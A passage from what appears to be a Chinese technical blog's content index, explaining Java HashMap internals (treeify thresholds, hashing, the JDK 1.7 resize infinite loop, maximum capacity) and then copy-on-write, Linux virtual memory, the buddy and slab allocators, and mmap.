还原（切分）为链表结构。把时间复杂度从 O（n）变成 O（logN）提高了效率）\n为什么是 8 和 6 ？ 如果选择 6 和 8（如果链表小于等于 6 树还原转为链表，大于等于 8 转为树），中间有个差值 7 可以有效防止链表和树频繁转换。假设一下，如果设计成链表个数超过 8 则链表转换成树结构，链表个数小于 8 则树结构转换成链表，如果一个 HashMap 不停的插入、删除元素，链表个数在 8 左右徘徊，就会频繁的发生树转链表、链表转树，效率会很低。\n那 8 是怎么来的？ 1* Because TreeNodes are about twice the size of regular nodes, we 2 * use them only when bins contain enough nodes to warrant use 3 * (see TREEIFY_THRESHOLD). And when they become too small (due to 4 * removal or resizing) they are converted back to plain bins. In 5 * usages with well-distributed user hashCodes, tree bins are 6 * rarely used. Ideally, under random hashCodes, the frequency of 7 * nodes in bins follows a Poisson distribution 8 * (http://en.wikipedia.org/wiki/Poisson_distribution) with a 9 * parameter of about 0.5 on average for the default resizing 10 * threshold of 0.75, although with a large variance because of 11 * resizing granularity. Ignoring variance, the expected 12 * occurrences of list size k are (exp(-0.5) * pow(0.5, k) / 13 * factorial(k)). The first values are: 14 * 15 * 0: 0.60653066 16 * 1: 0.30326533 17 * 2: 0.07581633 18 * 3: 0.01263606 19 * 4: 0.00157952 20 * 5: 0.00015795 21 * 6: 0.00001316 22 * 7: 0.00000094 23 * 8: 0.00000006 24 * more: less than 1 in ten million 我们用白话文翻译一下，大概意思就是说：\n“\n因为树结构是链表结构的两倍大小左右，所以当节点足够多的时候我们才会转换为树结构存储，而当它节点足够少的时候，我们又从树结构转换为链表结构。当使用良好的哈希码时，树结构是很少使用到的，理想的情况下，在随机的哈希码下，节点在链表中出现的频率符合泊松分布，在数组调整阈值为 0.75 的时候，该泊松分布的平均参数约为 0.5，因为数组调整的阈值大小对平均参数有很大影响。如果忽略这个影响，列表长度 k 出现的次数按照泊松分布依次为：\n0: 0.60653066；1: 0.30326533；2: 0.07581633；3: 0.01263606；4: 0.00157952；5: 0.00015795；6: 0.00001316；7: 0.00000094；8: 0.00000006；更大：不足千万分之一\n”\n因为长度出现 8 的概率已经足够足够小了，所以说，按照泊松分布，大部分的 HashMap 其实还是数组+链表结果，不会转换为红黑树。当链表长度为 8 的时候，概率的计算，就是把 8 带入到公式中，因为默认调整阈值是 0.75 的时候，平均值是 0.5，所以，求得的概率即为链表长度为 8 的概率。\n结论：容器中节点分布在 hash 桶中的频率遵循泊松分布，桶的长度超过 8 的概率非常非常小。所以作者应该是根据概率统计而选择了 8 作为阀值。\n有关泊松分布可以参考 这里 大概了解一下。\nhash 算法 我们先来说说 hash 算法的一般实现：\n大数变小数\u0026ndash;\u0026gt;取模 让结果的规律性不明显\u0026ndash;\u0026gt; 异或、改变原始数据、移位 碰撞是存在的，主要是看解决碰撞的方案 java 中常用的 hashCode 算法：\nObject 类的 hashCode。返回对象的经过处理后的内存地址。由于每个对象的内存地址都不一样，所以哈希码也不一样，这是个 native 方法。取决于 JVM 的内部设计，一般是某种 C 地址的偏移。 String 类的 hashCode, 根据 String 类包含的字符串的内容，根据一种特殊的算法返回哈希码，只要字符串的内容相同，返回的哈希码也相同。 Integer 等包装类，返回的哈希码就是 Integer 对象里所包含的那个整数的值，例如 Integer i1 = new Integer(100), i1.hashCode() 的值就是 100。由此可见，两个一样大小的 Integer 对象，返回的哈希码也一样。 int、char 这样的基础类，它们不需要 hashCode, 如果需要存储时，将进行自动装箱操作，计算方法同上。 如何确定哈希桶数组索引位置？ 无论增加、删除、查找键值对，定位到哈希桶数组的位置都是很关键的第一步。\n首先想到的就是把 hash 值对数组长度取模运算，这样一来，元素的分布相对来说是比较均匀的。但是，模运算的消耗还是比较大的，在 HashMap 中是这样做的：调用下面的代码来计算该对象应该保存在 table 数组的哪个索引处。\n先看下 JDK1.7 的实现\n1 final int hash(Object k) { 2 int h = hashSeed; 3 if (0 != h \u0026amp;\u0026amp; k instanceof String) { 4 return sun.misc.Hashing.stringHash32((String) k); 5 } 6 // 先取 key 的 hashCode 再和 hashSeed 进行异或运算 7 h ^= k.hashCode(); 8 9 // This function ensures that hashCodes that differ only by 10 // constant multiples at each bit position have a bounded 11 // number of collisions (approximately 8 at default load factor). 12 h ^= (h \u0026gt;\u0026gt;\u0026gt; 20) ^ (h \u0026gt;\u0026gt;\u0026gt; 12); 13 return h ^ (h \u0026gt;\u0026gt;\u0026gt; 7) ^ (h \u0026gt;\u0026gt;\u0026gt; 4); 14 } 15 16 static int indexFor(int h, int length) { 17 18 return h \u0026amp; (length-1); 19 } 这个方法非常巧妙，获得 hash 值后，它通过 h \u0026amp; (table.length -1) 来得到该对象的保存位，而 HashMap 底层 Node 数组的长度总是 2 的 n 次方，这是 HashMap 在速度上的优化。当 length 总是 2 的 n 次方时，h \u0026amp; (length-1) 运算等价于对 length 取模，也就是 h % length，但是 \u0026amp; 比% 具有更高的效率。\n数组长度减 1 正好相当于一个“低位掩码”。“与”操作的结果就是散列值的高位全部归零，只保留低位值，用来做数组下标访问。\n以初始长度 16 为例，16-1=15。2 进制表示是 00000000 00000000 00001111。和某散列值做“与”操作如下，结果就是截取了最低的四位值。\nh \u0026amp; (length-1) 当且仅当 length（即 capacity) 是 2 的整倍数的时候才等于 h % length, 从这个角度也说明了 capacity 为什么一定要用 2 的整次幂。\n在 JDK1.8 的实现中，优化了 hash 算法，是通过 hashCode() 的高 16 位异或低 16 位实现的\n1 2static final int hash(Object key) { 3 int h; 4 // h = key.hashCode() 为第一步 取 hashCode 值 5 // h ^ (h \u0026gt;\u0026gt;\u0026gt; 16) 为第二步 高位参与运算 6 return (key == null) ? 0 : (h = key.hashCode()) ^ (h \u0026gt;\u0026gt;\u0026gt; 16); 7} 8 9 final V putVal(int hash, K key, V value, boolean onlyIfAbsent, 10 boolean evict) { 11 Node\u0026lt;K,V\u0026gt;[] tab; Node\u0026lt;K,V\u0026gt; p; int n, i; 12 if ((tab = table) == null || (n = tab.length) == 0) 13 n = (tab = resize()).length; 14 if ((p = tab[i = (n - 1) \u0026amp; hash]) == null) //第三步 取模运算 15 tab[i] = newNode(hash, key, value, null); 16 else { 17 ... JDK 中为什么不直接用 key.hashCode() 获取哈希值，而是使用 (h = key.hashCode()) ^ (h \u0026gt;\u0026gt;\u0026gt; 16) ？\n我们通过上文了解了 HashMap 如何计算出数组索引位置，但其实有一个问题，就是即使我的散列值分布再松散，要是只取最后几位的话，碰撞也会很严重。更要命的是如果散列本身做得不好，分布上成等差数列的漏洞，恰好使最后几个低位呈现规律性重复，就无比蛋疼。\n这时候“扰动函数”的价值就体现出来了\n右位移 16 位，正好是32bit 的一半，自己的高半区和低半区做异或，就是为了混合原始哈希码的高位和低位，以此来加大低位的随机性。而且混合后的低位掺杂了高位的部分特征，这样高位的信息也被变相保留下来。这么做可以在数组 table 的 length 比较小的时候，也能保证考虑到高低 Bit 都参与到 Hash 的计算中，同时不会有太大的开销。（JDK 7 做了 4 次右移，估计是边际效应的原因，JDK8 就只做了一次右移）\n(h = key.hashCode()) ^ (h \u0026gt;\u0026gt;\u0026gt; 16) 这样写有点类似重写了 hashCode，确保得出的数足够的随机，因为进行 hash 计算的时候 确保它的数足够的分散，以便于计算数组下标的时候存放的值足够分散。\n方法的具体调用过程，可以参考 put 方法：\n如何解决 hash 冲突 ? 解决哈希冲突的方法一般有：开放定址法、链地址法（拉链法）、再哈希法、建立公共溢出区等方法。\nHashMap 是用拉链法解决的 Hash 冲突问题。HashMap 的数据结构 ：jdk1.7 是数组+链表的结构 ，jdk1.8 是数组+链表+红黑树。\n正是为了解决 Hash 冲突以及平衡查询、插入等操作的效率 HashMap 的作者才将 HashMap 设计成这种数据结构。\n下面通过 put 方法的流程来了解一下 hash 冲突\nHash 冲突 发生在了这里：\n从代码上看是这里：\n当没有 hash 冲突的时候就直接 newNode 了，如果发生了冲突，即通过 hash 计算出的 Node 数组位置上已经有元素了，那么就要执行下面的流程了：\n有可能转成链表 有可能转成红黑树 从第一个 else 条件开始就是 hashMap 解决 hash 冲突的过程。也就是所谓的“拉链法”\n需要注意的点：\nHashMap 采用的链表法的方式，链表是单向链表 当发生 hash 冲突，hashMap 的桶中形成链表的时候，新的元素插入到该链表的时候，jdk1.7 使用的是“头插法” 即新元素在链表头，而 jdk1.8 使用的“尾插法” 即新元素在链表尾。 重写 equals() 时，为什么 必须重写 hashCode() ？\n我们知道当往 HashMap put 相同 key 的元素的时候，会用新 value 替换老 value，那么 HashMap 是如何判断 key 是相同的呢？\n1 if (p.hash == hash \u0026amp;\u0026amp; ((k = p.key) == key || (key != null \u0026amp;\u0026amp; key.equals(k)))) 根据源码，是通过比较 hashcode 和 equals ，所以说当对一个对象重写 equals 时，也要重写 hashCode 或者反过来。不然可能会对像 HashMap 这种容器的判断产生影响 。试想如果你的对象没有正确重写这两个方法，那么装在容器中一定会有问题。\nHashMap 线程不安全 结论：在多线程使用场景中，应该尽量避免使用线程不安全的 HashMap，而使用线程安全的 ConcurrentHashMap\n在多线程环境下使用 HashMap 可能产生环链（死循环）问题，当然是在 jdk1.7 版本，jdk1.8 由于使用了“尾插法”就避免了这个问题。在使用 jdk1.7 的情况下，是 put 过程中的 resize 方法在调用 transfer 方法的时候导致的环链。\n举例说明一下：\n1public class HashMapInfiniteLoop { 2 3 private static HashMap\u0026lt;Integer,String\u0026gt; map = new HashMap\u0026lt;Integer,String\u0026gt;(2，0.75f); 4 public static void main(String[] args) { 5 map.put(5， \u0026#34;C\u0026#34;); 6 7 new Thread(\u0026#34;Thread1\u0026#34;) { 8 public void run() { 9 map.put(7, \u0026#34;B\u0026#34;); 10 System.out.println(map); 11 }; 12 }.start(); 13 new Thread(\u0026#34;Thread2\u0026#34;) { 14 public void run() { 15 map.put(3, \u0026#34;A); 16 System.out.println(map); 17 }; 18 }.start(); 19 } 20} 其中，map 初始化为一个长度为 2 的数组，loadFactor=0.75，threshold=2*0.75=1，也就是说当 put 第二个 key 的时候，map 就需要进行 resize。下面代码是 jdk1.7 的\n1void resize(int newCapacity) { //传入新的容量 2 Entry[] oldTable = table; //引用扩容前的 Entry 数组 3 int oldCapacity = oldTable.length; 4 if (oldCapacity == MAXIMUM_CAPACITY) { //扩容前的数组大小如果已经达到最大 (2^30) 了 5 threshold = Integer.MAX_VALUE; //修改阈值为 int 的最大值 (2^31-1)，这样以后就不会扩容了 6 return; 7 } 8 9 Entry[] newTable = new Entry[newCapacity]; //初始化一个新的 Entry 数组 10 transfer(newTable); //！！将数据转移到新的 Entry 数组里 11 table = newTable; //HashMap 的 table 属性引用新的 Entry 数组 12 threshold = (int)(newCapacity * loadFactor);//修改阈值 13} 14 15 void transfer(Entry[] newTable) { 16 Entry[] src = table; //src 引用了旧的 Entry 数组 17 int newCapacity = newTable.length; 18 for (int j = 0; j \u0026lt; src.length; j++) { //遍历旧的 Entry 数组 19 Entry\u0026lt;K,V\u0026gt; e = src[j]; //取得旧 Entry 数组的每个元素 20 if (e != null) { 21 src[j] = null;//释放旧 Entry 数组的对象引用（for 循环后，旧的 Entry 数组不再引用任何对象） 22 do { 23 Entry\u0026lt;K,V\u0026gt; next = e.next; 24 int i = indexFor(e.hash, newCapacity); //！！重新计算每个元素在数组中的位置 25 e.next = newTable[i]; //标记 [1] 26 newTable[i] = e; //将元素放在数组上 27 e = next; //访问下一个 Entry 链上的元素 28 } while (e != null); 29 } 30 } 31 通过设置断点让线程 1 和线程 2 同时 debug 到 transfer 方法的首行。注意此时两个线程已经成功添加数据。放开 thread1 的断点至 transfer 方法的“Entry next = e.next;” 这一行；然后放开线程 2 的断点，让线程 2 进行完 resize。结果如下图。\n注意，Thread1 的 e 指向了 key(3)，而 next 指向了 key(7)，其在线程二 rehash 后，指向了线程二重组后的链表。\n线程一被调度回来执行，先是执行 newTalbe[i] = e， 然后是 e = next，导致了 e 指向了 key(7)，而下一次循环的 next = e.next 导致了 next 指向了 key(3)。\ne.next = newTable[i] 导致 key(3).next 指向了 key(7)。注意：此时的 key(7).next 已经指向了 key(3)， 环形链表就这样出现了。\n于是，当我们用线程一调用 map.get(11) 时，悲剧就出现了——Infinite Loop。\nHashMap 有并发问题，并不单单指环链问题，而是在数据结构的设计上就没有考虑并发环境。HashMap 的设计目标是简洁高效，没有采取任何措施保证 put、remove 操作的多线程安全。put 方法的操作对象要么是整个散列表，要么是某个哈希桶里的链表或红黑树，而这些过程都没有采取措施保证多线程安全。在这个复杂的逻辑过程中，任何一个线程在这个过程中改动了散列表的结构，都有可能造成另一个线程的操作失败。\nHashMap 是线程不安全的，读写方法都不安全吗？ put 这种写操作肯定是线程不安全的，应该不用说。那 get 这种读呢？\n通过上面对 JDK7 死循环的分析知道\n如果在读之前有多线程的写操作已经造成了“ Infinite Loop” ，那么再进行 get 的话，会出现问题，在种情况下读也不安全。 但如果在读之前并没有多线程写操作，那么多线程读是没有问题的。 总结：同时并发读写，多线程 put 后可能导致 get 死循环 (CPU 100%)，只是并发读没问题。\n怎么解决？\n如果遇到并发场景还是要使用并发窗口，如 Collections.synchronizedMap 或 ConcurrentHashMap\n不考虑内存限制，HashMap 可以无限存储数据吗？ 不可以，HashMap 是有最大容量上限的。我们还是来看下源码注释：\n1 2 /** 3 * The maximum capacity, used if a higher value is implicitly specified 4 * by either of the constructors with arguments. 5 * MUST be a power of two \u0026lt;= 1\u0026lt;\u0026lt;30. 6 */ 7 static final int MAXIMUM_CAPACITY = 1 \u0026lt;\u0026lt; 30; 如果构造函数传入的值大于 MAXIMUM_CAPACITY ，那么替换成该数 MAXIMUM_CAPACITY （1 \u0026laquo; 30） 即 2 的 30 次方。\n为什么是 1 \u0026laquo; 30？ 1 \u0026laquo;31 不行吗？\n注意看这个值是 int 类型的。我们知道 int 的极限最大值 Integer._MAX_VALUE 是 2 的 31 次方减 1，即_2147483647，如果 1 \u0026laquo; 30 改为 1 \u0026laquo; 31 ，由于 int 是有符号数，这个值将为 -2147483648，而且 hashMap 的容量都是 2 的整数次幂，也就只能是 2 的 30 次方了。\n然而这并不是 HashMap 的最大容量\n看一源码关于扩容 resize 这部分的代码：\n1 final Node\u0026lt;K,V\u0026gt;[] resize() { 2 Node\u0026lt;K,V\u0026gt;[] oldTab = table; 3 int oldCap = (oldTab == null) ? 0 : oldTab.length; 4 int oldThr = threshold; 5 int newCap, newThr = 0; 6 if (oldCap \u0026gt; 0) { 7 if (oldCap \u0026gt;= MAXIMUM_CAPACITY) { 8 threshold = Integer.MAX_VALUE; 9 return oldTab; 10 } 11 else if ((newCap = oldCap \u0026lt;\u0026lt; 1) \u0026lt; MAXIMUM_CAPACITY \u0026amp;\u0026amp; 12 oldCap \u0026gt;= DEFAULT_INITIAL_CAPACITY) 13 newThr = oldThr \u0026lt;\u0026lt; 1; // double threshold 14 } 15 else if (oldThr \u0026gt; 0) // initial capacity was placed in threshold 16 newCap = oldThr; 17 else { // zero initial threshold signifies using defaults 18 newCap = DEFAULT_INITIAL_CAPACITY; 19 newThr = (int)(DEFAULT_LOAD_FACTOR * DEFAULT_INITIAL_CAPACITY); 20 } 21 if (newThr == 0) { 22 float ft = (float)newCap * loadFactor; 23 newThr = (newCap \u0026lt; MAXIMUM_CAPACITY \u0026amp;\u0026amp; ft \u0026lt; (float)MAXIMUM_CAPACITY ? 24 (int)ft : Integer.MAX_VALUE); 25 } 26 threshold = newThr; 27 @SuppressWarnings({\u0026#34;rawtypes\u0026#34;,\u0026#34;unchecked\u0026#34;}) 28 Node\u0026lt;K,V\u0026gt;[] newTab = (Node\u0026lt;K,V\u0026gt;[])new Node[newCap]; 29 table = newTab; 通过分析源码得到 Integer.MAX_VALUE 是 Node 数组理论上的最大值。\n这只是 Node 数组的最大 容量，由于 HashMap 在 hash 冲突后的链表和红黑树的数据结构，如果之前有大量数据发生了冲突，数据在链表或红黑树上，那么整个 HashMap 的最大容量可能就不是上面的最大容量。\n所以 HashMap 的最大容量总结如下：\n准确来说有可能是无限大，但因为内存限制和使用场景的关系可能性极小。 一般来说是 Integer.MAX 不过一般不会有这种场景的，Integer.MAX 20 多亿，一般的内存扛不住的，不信你在自己的电脑上试试，内存小的都试不出来。\n1HashMap\u0026lt;Integer, Byte\u0026gt; map = new HashMap\u0026lt;\u0026gt;(Integer.MAX_VALUE, 0.75F); 2 for (int i = 0; i \u0026lt; Integer.MAX_VALUE; i++) { 3 4 map.put(i, null); 5 } 6System.out.println(map.size()); 当 HashMap 到达容量上限后占用的内存大小，已经很大了，所以一般情况下是内存溢出。\n另外也没有那么多数据让你全部放到容器中，就算有，也可以分而治之。whatever，了解容器的边界是一个好的习惯。\n参考 https://tech.meituan.com/2016/06/24/java-hashmap.html http://www.ruanyifeng.com/blog/2015/06/poisson-distribution.html#comment-356111 https://coolshell.cn/articles/9606.html https://coolshell.cn/articles/6424.html ","date":"2022-03-10T09:38:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2022-03-10-zai-liao-hashmap/cover.jpg","permalink":"/p/2022-03-10-zai-liao-hashmap/","title":"再聊 HashMap"},{"content":"概念 “\n写入时复制（英语：Copy-on-write，简称COW）是一种计算机 [程序设计]领域的优化策略。其核心思想是，如果有多个调用者（callers）同时请求相同资源（如内存或磁盘上的数据存储），他们会共同获取相同的指针指向相同的资源，直到某个调用者试图修改资源的内容时，系统才会真正复制一份专用副本（private copy）给该调用者，而其他调用者所见到的最初的资源仍然保持不变。这过程对其他的调用者都是 [透明]的。此做法主要的优点是如果调用者没有修改该资源，就不会有副本（private copy) 被创建，因此多个调用者只是读取操作时可以共享同一份资源。\n”\nCOW 已有很多应用，比如在Linux 等的文件管理系统也使用了写时复制策略。\n应用 Linux fork() 当通过 fork() 来创建一个子进程时，操作系统需要将父进程虚拟内存空间中的大部分内容全部复制到子进程中（主要是数据段、堆、栈；代码段共享）。这个操作不仅非常耗时，而且会浪费大量物理内存。特别是如果程序在进程复制后立刻使用 exec 加载新程序，那么负面效应会更严重，相当于之前进行的复制操作是完全多余的。\n因此引入了写时复制技术。内核不会复制进程的整个地址空间，而是只复制其页表，fork 之后的父子进程的地址空间指向同样的物理内存页。\n但是不同进程的内存空间应当是私有的。假如所有进程都只读取其内存页，那么就可以继续共享物理内存中的同一个副本；然而只要有一个进程试图写入共享区域的某个页面，那么就会为这个进程创建该页面的一个新副本。\n如果是 fork()+exec() 的话，子进程被创建后就立即执行一个 executable，父进程内存中的数据对子进程而言没有意义——即父进程的页根本不会被子进程写入。在这种情况下可以完全避免复制，而是直接为子进程分配地址空间，如下图所示。\n写时复制技术将内存页的复制延迟到第一次写入时，更重要的是，在很多情况下不需要复制。这节省了大量时间，充分使用了稀有的物理内存。\n虚拟内存管理中的写时复制 虚拟内存管理中，一般把共享访问的页面标记为只读，当一个 task 试图向内存中写入数据时，内存管理单元（MMU）抛出一个异常，内核处理该异常时为该 task 分配一份物理内存并复制数据到此内存，重新向 MMU 发出执行该 task 的写操作\n这里顺便了解一下 Linux 的内存管理\nLinux 内存管理 为了充分利用和管理系统内存资源，Linux 采用虚拟内存管理技术，在现代计算机系统中对物理内存做了一层抽象。\n它为每一个进程都提供一块连续的私有地址空间，在 32 位模式下，每一块虚拟地址空间大小为 4GB。\nLinux 采用虚拟内存管理技术，利用虚拟内存技术让每个进程都有4GB 互不干涉的虚拟地址空间。\n进程初始化分配和操作的都是基于这个「虚拟地址」，只有当进程需要实际访问内存资源的时候才会建立虚拟地址和物理地址的映射，调入物理内存页。\n“\n这个原理其实和现在的某某网盘一样。假如你的网盘空间是1TB，真以为就一口气给了你这么大空间吗？都是在你往里面放东西的时候才给你分配空间，你放多少就分多少实际空间给你，但你看起来就像拥有1TB空间一样。\n”\n进程（执行的程序）占用的用户空间按照 访问属性一致的地址空间存放在一起 的原则，划分成 5个不同的内存区域。访问属性指的是“可读、可写、可执行等。\n代码段\n代码段是用来存放可执行文件的操作指令，可执行程序在内存中的镜像。代码段需要防止在运行时被非法修改，所以只准许读取操作，它是不可写的。\n数据段\n数据段用来存放可执行文件中已初始化全局变量，换句话说就是存放程序静态分配的变量和全局变量。\nBSS 段\nBSS段包含了程序中未初始化的全局变量，在内存中 bss 段全部置零。\n堆 heap\n堆是用于存放进程运行中被动态分配的内存段，它的大小并不固定，可动态扩张或缩减。当进程调用 malloc 等函数分配内存时，新分配的内存就被动态添加到堆上（堆被扩张）；当利用 free 等函数释放内存时，被释放的内存从堆中被剔除（堆被缩减）\n栈 stack\n栈是用户存放程序临时创建的局部变量，也就是函数中定义的变量（但不包括 static 声明的变量，static 意味着在数据段中存放变量）。除此以外，在函数被调用时，其参数也会被压入发起调用的进程栈中，并且待到调用结束后，函数的返回值也会被存放回栈中。由于栈的先进先出特点，所以栈特别方便用来保存/恢复调用现场。从这个意义上讲，我们可以把堆栈看成一个寄存、交换临时数据的内存区。\n可以在 linux 下用size 命令查看编译后程序的各个内存区域大小：\n1# size /usr/local/sbin/sshd 2 text data bss dec hex filename 31924532 12412 426896 2363840 2411c0 /usr/local/sbin/sshd 内核地址空间划分\n在 x86 32 位系统里，Linux 内核地址空间是指虚拟地址从 0xC0000000 开始到 0xFFFFFFFF 为止的高端内存地址空间，总计 1G 的容量， 包括了内核镜像、物理页面表、驱动程序等运行在内核空间\n直接映射区\n直接映射区 Direct Memory Region：从内核空间起始地址开始，最大896M的内核空间地址区间，为直接内存映射区。\n直接映射区的 896MB 的「线性地址」直接与「物理地址」的前896MB进行映射，也就是说线性地址和分配的物理地址都是连续的。内核地址空间的线性地址0xC0000001所对应的物理地址为0x00000001，它们之间相差一个偏移量PAGE_OFFSET = 0xC0000000\n该区域的线性地址和物理地址存在线性转换关系「线性地址 = PAGE_OFFSET + 物理地址」也可以用 virt_to_phys()函数将内核虚拟空间中的线性地址转化为物理地址。\n高端内存线性地址空间\n内核空间线性地址从 896M 到 1G的区间，容量 128MB 的地址区间是高端内存线性地址空间，为什么叫高端内存线性地址空间？下面给你解释一下：\n前面已经说过，内核空间的总大小 1GB，从内核空间起始地址开始的 896MB 的线性地址可以直接映射到物理地址大小为 896MB 的地址区间。\n退一万步，即使内核空间的 1GB 线性地址都映射到物理地址，那也最多只能寻址 1GB 大小的物理内存地址范围。\n内核空间拿出了最后的 128M 地址区间，划分成下面三个高端内存映射区，以达到对整个物理地址范围的寻址。而在 64 位的系统上就不存在这样的问题了，因为可用的线性地址空间远大于可安装的内存。\n动态内存映射区\nvmalloc Region 该区域由内核函数vmalloc来分配，特点是：线性空间连续，但是对应的物理地址空间不一定连续。vmalloc 分配的线性地址所对应的物理页可能处于低端内存，也可能处于高端内存。\n永久内存映射区\nPersistent Kernel Mapping Region 该区域可访问高端内存。访问方法是使用 alloc_page (_GFP_HIGHMEM) 分配高端内存页或者使用kmap函数将分配到的高端内存映射到该区域。\n固定映射区\nFixing kernel Mapping Region 该区域和 4G 的顶端只有 4k 的隔离带，其每个地址项都服务于特定的用途，如 ACPI_BASE 等。\n用户空间内存数据结构\n虚拟地址的好处\n避免用户直接访问物理内存地址，防止一些破坏性操作，保护操作系统 每个进程都被分配了 4GB 的虚拟内存，用户程序可使用比实际物理内存更大的地址空间 系统处理流程\n系统将虚拟内存分割成一块块固定大小的虚拟页（Virtual Page），同样的，物理内存也会被分割成物理页（Physical Page），当进程访问内存时，CPU 通过内存管理单元（MMU）根据页表（Page Table）将虚拟地址翻译成物理地址，最终取到内存数据。这样在每个进程内部都像是独享整个主存。\n当 CPU 拿到一个虚拟地址希望访问内存的时候，将其分为虚拟页框号和偏移两个部分，先拿着虚拟页框号查 TLB，TLB 命中就直接将物理页框号和偏移拼接起来得到物理地址。在拿着物理地址进行访存。访存的时候也是先看缓存汇总是否有，没有的话再访问下一级存储器。如果 TLB 没有命中的话，就利用CR3寄存器（存储当前进程的一级页表基址）逐级地查页表。\n当初始化一个进程的时候，Linux 系统通过将虚拟地址空间和一个磁盘上的对象相关联来初始化这个进程的虚拟地址空间，这个过程称之为内存映射。\n可执行文件存储在磁盘中，其中有虚拟内存中的各个段的数据，比如代码段，数据段等。比如代码段，它在程序执行的过程中应该是不变的，而且在内存中的样子和在磁盘中是一样的，\n所以是如何加载到内存中的呢。\nLinux 将内存的不同区域映射成下面两种磁盘文件中的一种：\nLinux 文件系统的常规文件。比如可执行文件。文件的某一部分被划分为页大小的块，每一块包含一个虚拟地址页的初始内容。当某一块不足一页的时候，用零进行填充。但是操作系统并不会在一开始就将所有的内容真的放到内存中，而是 CPU 第一次访问发生了缺页的时候，才由缺页中断将这一页调入物理内存。（当进程在申请的内存的时候，linux 内核其实只分配一块虚拟内存地址，并没有分配实际的物理内存，相当于操作系统只给进程这一块地址的使用权。只有当程序真正使用这块内存时，会产生一个缺页异常，这时内核去真正为进程分配物理页，并建立对应的页表，从而将虚拟内存和物理内存建立一个映射关系，这样可以做到充分利用到物理内存。） 匿名文件。虚拟内存的一片区域也可以映射到由内核创建的一个匿名文件，如堆栈部分和未初始化的全局变量，在可实行文件中并没有实体，这些会映射到匿名文件。当 CPU 访问这些区域的时候，内核找到一个物理页，将它清空，然后更新进程的页表。这个过程没有发生磁盘到主存中间的数据交互。但是需要注意，在C++堆申请的内存不一定都是 0，因为C++内部实现了堆内存管理，可能申请的内存并不是操作系统新分配的，而是之前分配了返回了，但是被C++内存管理部分保留了，这次申请又直接返回给了用户。 在上面两种情况下，虚拟页被初始化之后，它会在交换空间和主存中进行换入换出。交换空间的大小限制了当前正在运行的进程的虚拟页的最大数量。交换空间的大小可以在按照操作系统的时候进行设置。\n内存映射与进程间共享对象 (CopyOnWrite)\n不同的进程可以共享对象。比如代码段是只读的，运行同一个可执行文件的进程可以共享虚拟内存的代码段，这样可以节省物理内存。还有进程间通信的共享内存机制。这些都可以在虚拟内存映射这个层次来实现。可以将不同进程的虚拟页映射到同一个物理页框，从而实现不同进程之间的内存共享。同时为了节省物理内存，可以使用copy-on-write技术，来实现进程私有的地址空间共享。初始时刻让多个进程共享一个物理内存页，然后当有某一个进程对这个页进行写的时候，触发copy-on-write机制，将这个物理页进行复制，这样就实现了私有化。\nBuddy（伙伴）分配算法\nLinux 内核引入了伙伴系统算法（Buddy system），什么意思呢？就是把相同大小的页框块用链表串起来，页框块就像手拉手的好伙伴，也是这个算法名字的由来。\n具体的，所有的空闲页框分组为 11 个块链表，每个块链表分别包含大小为 1，2，4，8，16，32，64，128，256，512 和 1024 个连续页框的页框块。最大可以申请 1024 个连续页框，对应 4MB 大小的连续内存。\n因为任何正整数都可以由 2^n 的和组成，所以总能找到合适大小的内存块分配出去，减少了外部碎片产生 。\nslab 分配器\n看到这里你可能会想，有了伙伴系统这下总可以管理好物理内存了吧？不，还不够，否则就没有 slab 分配器什么事了。\n那什么是 slab 分配器呢？\n一般来说，内核对象的生命周期是这样的：分配内存-初始化-释放内存，内核中有大量的小对象，比如文件描述结构对象、任务描述结构对象，如果按照伙伴系统按页分配和释放内存，对小对象频繁的执行「分配内存-初始化-释放内存」会非常消耗性能。\n伙伴系统分配出去的内存还是以页框为单位，而对于内核的很多场景都是分配小片内存，远用不到一页内存大小的空间。slab分配器，「通过将内存按使用对象不同再划分成不同大小的空间」，应用于内核对象的缓存。\n伙伴系统和 slab 不是二选一的关系，slab 内存分配器是对伙伴分配算法的补充。\nmmap\nmmap 是 POSIX 规范接口中用来处理内存映射的一个系统调用，它本身的使用场景非常多：\n可以用来申请大块内存 可以用来申请共享内存 也可以将文件或设备直接映射到内存中 进程可以像访问普通内存一样访问被映射的文件，在实际开发过程使用场景非常多\n在 LINUX 中我们可以使用 mmap 用来在进程虚拟内存地址空间中分配地址空间，创建和物理内存的映射关系。\nmmap 是将一个文件直接映射到进程的地址空间，进程可以像操作内存一样去读写磁盘上的文件内容，而不需要再调用 read/write 等系统调用。\n1int main(int argc, char **argv) 2{ 3 char *filename = \u0026#34;/tmp/foo.data\u0026#34;; 4 struct stat stat; 5 int fd = open(filename, O_RDWR, 0); 6 fstat(fd, \u0026amp;stat); 7 void *bufp = mmap(NULL, stat.st_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0); 8 memcpy(bufp, \u0026#34;Linuxdd\u0026#34;, 7); 9 munmap(bufp, stat.st_size); 10 close(fd); 11 return 0; 12} 在 mmap 之后，并没有将文件内容加载到物理页上，只是在虚拟内存中分配了地址空间。当进程在访问这段地址时，通过查找页表，发现虚拟内存对应的页没有在物理内存中缓存，则产生\u0026quot;缺页\u0026quot;，由内核的缺页异常处理程序处理，将文件对应内容，以页为单位 (4096) 加载到物理内存，注意是只加载缺页，但也会受操作系统一些调度策略影响，加载的比所需的多。\n所处空间\n一个进程的虚拟空间有多个部分组成，mmap 的文件所处的内存空间在内存映射段中。\nmmap 和 read/write 的区别\nread 的系统调用的流程大概如下图所示：\na) 用户进程发起 read 操作； b) 内核会做一些基本的 page cache 判断，从磁盘中读取数据到 kernel buffer 中； c) 然后内核将 buffer 的数据再拷贝至用户态的 user buffer； d) 唤醒用户进程继续执行；\n而 mmap 的流程如下图所示\n内核直接将内存暴露给用户态，用户态对内存的修改也直接反映到内核态，少了一次的内核态至用户态的内存拷贝，速度上会有一定的提升\nmmap 的优点有很多，相比传统的 read/write 等 I/O 方式，直接将虚拟地址的区域映射到文件，没有任何数据拷贝的操作，当发现有缺页时，通过映射关系将磁盘的数据加载到内存，用户态程序直接可见，提高了文件读取的效率。对索引数据这种大文件的读取、cache、换页等操作直接交由操作系统去调度，间接减少了用户程序的复杂度，并提高了运行效率。\n优缺点\n优点如下：\n对文件的读取操作跨过了页缓存，减少了数据的拷贝次数，用内存读写取代 I/O 读写，提高了文件读取效率。 实现了用户空间和内核空间的高效交互方式。两空间的各自修改操作可以直接反映在映射的区域内，从而被对方空间及时捕捉。 